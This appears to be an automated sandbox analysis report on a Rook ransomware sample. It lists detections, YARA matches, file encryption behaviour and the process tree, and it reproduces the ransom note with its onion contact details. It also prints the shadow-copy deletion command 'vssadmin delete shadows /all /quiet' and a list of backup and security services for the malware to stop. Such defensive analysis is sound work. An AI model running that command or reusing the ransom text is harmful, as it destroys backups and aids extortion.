Edit tour

Windows Analysis Report
ZunmmW7pe5.exe

Overview

General Information

Sample Name:	ZunmmW7pe5.exe
Analysis ID:	626600
MD5:	6d87be9212a1a0e92e58e1ed94c589f9
SHA1:	19ce538b2597da454abf835cff676c28b8eb66f7
SHA256:	c2d46d256b8f9490c9599eea11ecef19fde7d4fdd2dea93604cee3cea8e172ac
Infos:

Detection

Rook

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected Rook Ransomware

Malicious sample detected (through community Yara rule)

May disable shadow drive data (uses vssadmin)

Deletes itself after installation

Deletes shadow drive data (may be related to ransomware)

Machine Learning detection for sample

Modifies existing user documents (likely ransomware behavior)

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Detected potential crypto function

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Sample execution stops while process was sleeping (likely an evasion)

Checks for available system drives (often done to infect USB drives)

Contains functionality to dynamically determine API calls

Uses Microsoft's Enhanced Cryptographic Provider

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is start

ZunmmW7pe5.exe (PID: 8072 cmdline: "C:\Users\user\Desktop\ZunmmW7pe5.exe" MD5: 6D87BE9212A1A0E92E58E1ED94C589F9)

conhost.exe (PID: 8036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: C5E9B1D1103EDCEA2E408E9497A5A88F)

cmd.exe (PID: 7756 cmdline: "C:\Windows\System32\cmd.exe" /c vssadmin.exe delete shadows /all /quiet MD5: 9D59442313565C2E0860B88BF32B2277)

conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: C5E9B1D1103EDCEA2E408E9497A5A88F)

vssadmin.exe (PID: 8152 cmdline: vssadmin.exe delete shadows /all /quiet MD5: 02A10DBF904883B1F8EE9F3CC70F5EB8)

cleanup

Malware Configuration

Threatname: Rook Ransomware

{"Ransom Note": "-----------Welcome. Again. --------------------\r\n[+]Whats Happen?[+]\r\n\r\nYour files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.\r\n\r\nBy the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).\r\n\r\n[+] What guarantees?[+]\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.\r\n\r\nTo check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.\r\n\r\nIf you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.\r\n\r\nIf we find that a security vendor or law enforcement agency pretends to be you to negotiate with us, we will directly destroy the private key and no longer provide you with decryption services.\r\n\r\nYou have 3 days to contact us for negotiation. Within 3 days, we will provide a 50% discount. If the discount service is not provided for more than 3 days, the files will be leaked to our onion network. Every more than 3 days will increase the number of leaked files.\r\n\r\nPlease use the company email to contact us, otherwise we will not reply.\r\n\r\n[+] How to get access on website?[+] \r\n\r\nYou have two ways:\r\n\r\n1) [Recommended] Using a TOR browser!\r\n\ta) Download and install TOR browser from this site:https://torproject.org/\n\tb) Open our website:gamol6n6p2p4c3ad7gxmx3ur7wwdwlywebo2azv3vv5qlmjmole2zbyd.onion\r\n\r\n2) Our mail box:\r\n\ta)rook@onionmail.org\r\n\tb)securityRook@onionmail.org\r\n\tc)If the mailbox fails or is taken over, please open Onion Network to check the new mailbox\r\n------------------------------------------------------------------------------------------------\r\n!!!DANGER!!!\r\nDONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.\r\n!!!!!!!\r\n\r\nAGAIN: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, please should not interfere.\r\n!!!!!!!\r\n\r\nONE MORE TIME: Security vendors and law enforcement agencies, please be aware that attacks on us will make us even stronger.\r\n\r\n!!!!!!!\r\n"}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
ZunmmW7pe5.exe	MALWARE_Win_Babuk	Detects Babuk ransomware	ditekSHen	0x4c738:$s6: bootsect.bak 0x4cc30:$s7: Can't open file after killHolder 0x4cbd0:$s8: Can't OpenProcess 0x4cd60:$arg4: shares 0x4cd70:$arg5: paths

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: ZunmmW7pe5.exe PID: 8072	JoeSecurity_Rook	Yara detected Rook Ransomware	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.ZunmmW7pe5.exe.7ff7e3710000.0.unpack	MALWARE_Win_Babuk	Detects Babuk ransomware	ditekSHen	0x4d338:$s6: bootsect.bak 0x4d830:$s7: Can't open file after killHolder 0x4d7d0:$s8: Can't OpenProcess 0x4d960:$arg4: shares 0x4d970:$arg5: paths
0.0.ZunmmW7pe5.exe.7ff7e3710000.0.unpack	MALWARE_Win_Babuk	Detects Babuk ransomware	ditekSHen	0x4d338:$s6: bootsect.bak 0x4d830:$s7: Can't open file after killHolder 0x4d7d0:$s8: Can't OpenProcess 0x4d960:$arg4: shares 0x4d970:$arg5: paths

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ZunmmW7pe5.exe

Avira: detected

Found malware configuration

Source: 0.0.ZunmmW7pe5.exe.7ff7e3710000.0.unpack

Malware Configuration Extractor: Rook Ransomware {"Ransom Note": "-----------Welcome. Again. --------------------\r\n[+]Whats Happen?[+]\r\n\r\nYour files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.\r\n\r\nBy the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).\r\n\r\n[+] What guarantees?[+]\r\n\r\nIts just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.\r\n\r\nTo check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.\r\n\r\nIf you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.\r\n\r\nIf we find that a security vendor or law enforcement agency pretends to be you to negotiate with us, we will directly destroy the private key and no longer provide you with decryption services.\r\n\r\nYou have 3 days to contact us for negotiation. Within 3 days, we will provide a 50% discount. If the discount service is not provided for more than 3 days, the files will be leaked to our onion network. Every more than 3 days will increase the number of leaked files.\r\n\r\nPlease use the company email to contact us, otherwise we will not reply.\r\n\r\n[+] How to get access on website?[+] \r\n\r\nYou have two ways:\r\n\r\n1) [Recommended] Using a TOR browser!\r\n\ta) Download and install TOR browser from this site:https://torproject.org/\n\tb) Open our website:gamol6n6p2p4c3ad7gxmx3ur7wwdwlywebo2azv3vv5qlmjmole2zbyd.onion\r\n\r\n2) Our mail box:\r\n\ta)rook@onionmail.org\r\n\tb)securityRook@onionmail.org\r\n\tc)If the mailbox fails or is taken over, please open Onion Network to check the new mailbox\r\n------------------------------------------------------------------------------------------------\r\n!!!DANGER!!!\r\nDONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data.\r\n!!!!!!!\r\n\r\nAGAIN: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, please should not interfere.\r\n!!!!!!!\r\n\r\nONE MORE TIME: Security vendors and law enforcement agencies, please be aware that attacks on us will make us even stronger.\r\n\r\n!!!!!!!\r\n"}

Multi AV Scanner detection for submitted file

Source: ZunmmW7pe5.exe	Virustotal: Detection: 79%	Perma Link
Source: ZunmmW7pe5.exe	Metadefender: Detection: 27%	Perma Link
Source: ZunmmW7pe5.exe	ReversingLabs: Detection: 88%

Machine Learning detection for sample

Source: ZunmmW7pe5.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe

Code function: 0_2_00007FF7E371DBF0 CryptAcquireContextW,CryptGenRandom,CryptReleaseContext,CryptReleaseContext,

0_2_00007FF7E371DBF0

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ	0_2_00007FF7E3711C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ	0_2_00007FF7E3711C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E3711C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----	0_2_00007FF7E3711C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E3718FB0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN RSA PUBLIC KEY-----	0_2_00007FF7E371CD10
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----	0_2_00007FF7E371CD10
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E372A450
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E372CBB0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E3723330
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ	0_2_00007FF7E372A070
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E3715720
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAns+j6MRzXXSObIDHYp8SUpB7OViyI5uvY583DQjT6YQBsXdIpcrgQwnfI8JtIrBABATftC2L5CnJkGv7gRTPm+1JY0OlzGcJmZqCHIoLBbGriG7jgBs+9RCqtJ/JP9L1NeS4Hmaan8HCxGVT5ysqIxv1pz0Bw1aoAu2mPzIwy0cl3P5b4CygAbBUuo	0_2_00007FF7E372C6A0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ	0_2_00007FF7E371C710
Source: ZunmmW7pe5.exe	Binary or memory string: -----BEGIN RSA PUBLIC KEY-----

Source: ZunmmW7pe5.exe

Static PE information: TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: e:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: c:	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: a:	Jump to behavior

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3712C00 RtlAllocateHeap,lstrcpyW,lstrcatW,CreateFileW,lstrlen,WriteFile,CloseHandle,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcpyW,lstrcatW,lstrcatW,lstrcmpW,lstrlenW,lstrcmpiW,lstrcmpiW,lstrcmpiW,WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,HeapFree,RtlAcquirePebLock,lstrlenW,RtlAllocateHeap,RtlLeaveCriticalSection,ReleaseSemaphore,FindNextFileW,FindClose,lstrlenW,WideCharToMultiByte,RtlAllocateHeap,lstrlenW,WideCharToMultiByte,GetLastError,HeapFree,RtlReleasePrivilege,	0_2_00007FF7E3712C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37130B0 WaitForSingleObject,WaitForSingleObject,RtlAcquirePebLock,RtlLeaveCriticalSection,ReleaseSemaphore,HeapFree,RtlAcquirePebLock,lstrlenW,RtlAllocateHeap,RtlLeaveCriticalSection,ReleaseSemaphore,RtlAllocateHeap,lstrcpyW,lstrcatW,FindFirstFileW,lstrcmpiW,lstrcpyW,lstrcatW,lstrcatW,FindNextFileW,FindClose,lstrlenW,WideCharToMultiByte,RtlAllocateHeap,lstrlenW,WideCharToMultiByte,GetLastError,HeapFree,RtlReleasePrivilege,	0_2_00007FF7E37130B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E374313C FindFirstFileExA,	0_2_00007FF7E374313C

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\3D Objects\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\Application Data\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File opened: C:\Documents and Settings\user\	Jump to behavior

Source: ZunmmW7pe5.exe, HowToRestoreYourFiles.txt61.0.dr, HowToRestoreYourFiles.txt77.0.dr, HowToRestoreYourFiles.txt73.0.dr, HowToRestoreYourFiles.txt42.0.dr, HowToRestoreYourFiles.txt114.0.dr, HowToRestoreYourFiles.txt108.0.dr, HowToRestoreYourFiles.txt54.0.dr, HowToRestoreYourFiles.txt95.0.dr, HowToRestoreYourFiles.txt5.0.dr, HowToRestoreYourFiles.txt21.0.dr, HowToRestoreYourFiles.txt102.0.dr, HowToRestoreYourFiles.txt69.0.dr, HowToRestoreYourFiles.txt1.0.dr, HowToRestoreYourFiles.txt30.0.dr, HowToRestoreYourFiles.txt66.0.dr, HowToRestoreYourFiles.txt15.0.dr, HowToRestoreYourFiles.txt111.0.dr, HowToRestoreYourFiles.txt22.0.dr, HowToRestoreYourFiles.txt91.0.dr, HowToRestoreYourFiles.txt34.0.dr

String found in binary or memory: https://torproject.org/

Spam, unwanted Advertisements and Ransom Demands

Yara detected Rook Ransomware

Source: Yara match

File source: Process Memory Space: ZunmmW7pe5.exe PID: 8072, type: MEMORYSTR

May disable shadow drive data (uses vssadmin)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet			Jump to behavior

Deletes shadow drive data (may be related to ransomware)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet
Source: ZunmmW7pe5.exe	Binary or memory string: /c vssadmin.exe delete shadows /all /quiet
Source: ZunmmW7pe5.exe, 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmp	Binary or memory string: memtasmepocsvsssqlsvc$veeambackupGxVssGxBlrGxFWDGxCVDGxCIMgrDefWatchccEvtMgrccSetMgrSavRoamRTVscanQBFCServiceQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServiceAcrSch2SvcAcronisAgentCASAD2DWebSvcCAARCUpdateSvcsql.exeoracle.exeocssd.exedbsnmp.exevisio.exewinword.exewordpad.exenotepad.exeexcel.exeonenote.exeoutlook.exesynctime.exeagntsvc.exeisqlplussvc.exexfssvccon.exemydesktopservice.exeocautoupds.exeencsvc.exefirefox.exetbirdconfig.exemydesktopqos.exeocomm.exedbeng50.exesqbcoreservice.exeinfopath.exemsaccess.exemspub.exepowerpnt.exesteam.exethebat.exethunderbird.exeQ:\W:\E:\R:\T:\Y:\U:\I:\O:\P:\A:\S:\D:\F:\G:\H:\J:\K:\L:\Z:\X:\C:\V:\B:\N:\M:\IsWow64Processkernel32.dllWow64DisableWow64FsRedirection/c vssadmin.exe delete shadows /all /quietcmd.exeopenWow64RevertWow64FsRedirection
Source: ZunmmW7pe5.exe, 00000000.00000000.1645153422.00007FF7E3711000.00000080.00000001.01000000.00000003.sdmp	Binary or memory string: memtasmepocsvsssqlsvc$veeambackupGxVssGxBlrGxFWDGxCVDGxCIMgrDefWatchccEvtMgrccSetMgrSavRoamRTVscanQBFCServiceQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServiceAcrSch2SvcAcronisAgentCASAD2DWebSvcCAARCUpdateSvcsql.exeoracle.exeocssd.exedbsnmp.exevisio.exewinword.exewordpad.exenotepad.exeexcel.exeonenote.exeoutlook.exesynctime.exeagntsvc.exeisqlplussvc.exexfssvccon.exemydesktopservice.exeocautoupds.exeencsvc.exefirefox.exetbirdconfig.exemydesktopqos.exeocomm.exedbeng50.exesqbcoreservice.exeinfopath.exemsaccess.exemspub.exepowerpnt.exesteam.exethebat.exethunderbird.exeQ:\W:\E:\R:\T:\Y:\U:\I:\O:\P:\A:\S:\D:\F:\G:\H:\J:\K:\L:\Z:\X:\C:\V:\B:\N:\M:\IsWow64Processkernel32.dllWow64DisableWow64FsRedirection/c vssadmin.exe delete shadows /all /quietcmd.exeopenWow64RevertWow64FsRedirection
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\vssadmin.exe vssadmin.exe delete shadows /all /quiet	Jump to behavior
Source: vssadmin.exe, 00000008.00000002.1705895117.0000027A0F000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Users\user\Desktop\C:\Windows\system32\vssadmin.exevssadmin.exe delete shadows /all /quietvssadmin.exe delete shadows /all /quietWinSta0\Default
Source: vssadmin.exe, 00000008.00000002.1705895117.0000027A0F000000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin.exe delete shadows /all /quiet
Source: vssadmin.exe, 00000008.00000002.1708547648.0000027A0F345000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vssadmin.exedeleteshadows/all/quietE
Source: ZunmmW7pe5.exe	Binary or memory string: memtasmepocsvsssqlsvc$veeambackupGxVssGxBlrGxFWDGxCVDGxCIMgrDefWatchccEvtMgrccSetMgrSavRoamRTVscanQBFCServiceQBIDPServiceIntuit.QuickBooks.FCSQBCFMonitorServiceAcrSch2SvcAcronisAgentCASAD2DWebSvcCAARCUpdateSvcsql.exeoracle.exeocssd.exedbsnmp.exevisio.exewinword.exewordpad.exenotepad.exeexcel.exeonenote.exeoutlook.exesynctime.exeagntsvc.exeisqlplussvc.exexfssvccon.exemydesktopservice.exeocautoupds.exeencsvc.exefirefox.exetbirdconfig.exemydesktopqos.exeocomm.exedbeng50.exesqbcoreservice.exeinfopath.exemsaccess.exemspub.exepowerpnt.exesteam.exethebat.exethunderbird.exeQ:\W:\E:\R:\T:\Y:\U:\I:\O:\P:\A:\S:\D:\F:\G:\H:\J:\K:\L:\Z:\X:\C:\V:\B:\N:\M:\IsWow64Processkernel32.dllWow64DisableWow64FsRedirection/c vssadmin.exe delete shadows /all /quietcmd.exeopenWow64RevertWow64FsRedirection

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File moved: C:\Users\user\Desktop\GNLQNHOLWB\BWETZDQDIB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File moved: C:\Users\user\Desktop\GNLQNHOLWB\MOCYNWGDZO.mp3	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File moved: C:\Users\user\Desktop\PWZOQIFCAN\IZMFBFKMEB.pdf	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File moved: C:\Users\user\Desktop\PWZOQIFCAN\UBVUNTSCZJ.mp3	Jump to behavior
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	File moved: C:\Users\user\Desktop\GNLQNHOLWB.jpg	Jump to behavior

System Summary

Malicious sample detected (through community Yara rule)

Source: ZunmmW7pe5.exe, type: SAMPLE	Matched rule: Detects Babuk ransomware Author: ditekSHen
Source: 0.2.ZunmmW7pe5.exe.7ff7e3710000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Babuk ransomware Author: ditekSHen
Source: 0.0.ZunmmW7pe5.exe.7ff7e3710000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Babuk ransomware Author: ditekSHen

Source: ZunmmW7pe5.exe, type: SAMPLE	Matched rule: MALWARE_Win_Babuk author = ditekSHen, description = Detects Babuk ransomware
Source: 0.2.ZunmmW7pe5.exe.7ff7e3710000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Babuk author = ditekSHen, description = Detects Babuk ransomware
Source: 0.0.ZunmmW7pe5.exe.7ff7e3710000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_Babuk author = ditekSHen, description = Detects Babuk ransomware

Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3711C00	0_2_00007FF7E3711C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3712C00	0_2_00007FF7E3712C00
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3724300	0_2_00007FF7E3724300
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3713970	0_2_00007FF7E3713970
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37130B0	0_2_00007FF7E37130B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3712070	0_2_00007FF7E3712070
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37227C0	0_2_00007FF7E37227C0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3737F20	0_2_00007FF7E3737F20
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37234B0	0_2_00007FF7E37234B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371ACC0	0_2_00007FF7E371ACC0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37394C0	0_2_00007FF7E37394C0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E371CD10	0_2_00007FF7E371CD10
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3720460	0_2_00007FF7E3720460
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E372EC60	0_2_00007FF7E372EC60
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E37313B0	0_2_00007FF7E37313B0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3736340	0_2_00007FF7E3736340
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E3720AB0	0_2_00007FF7E3720AB0
Source: C:\Users\user\Desktop\ZunmmW7pe5.exe	Code function: 0_2_00007FF7E372BAB0	0_2_00007FF7E372BAB0
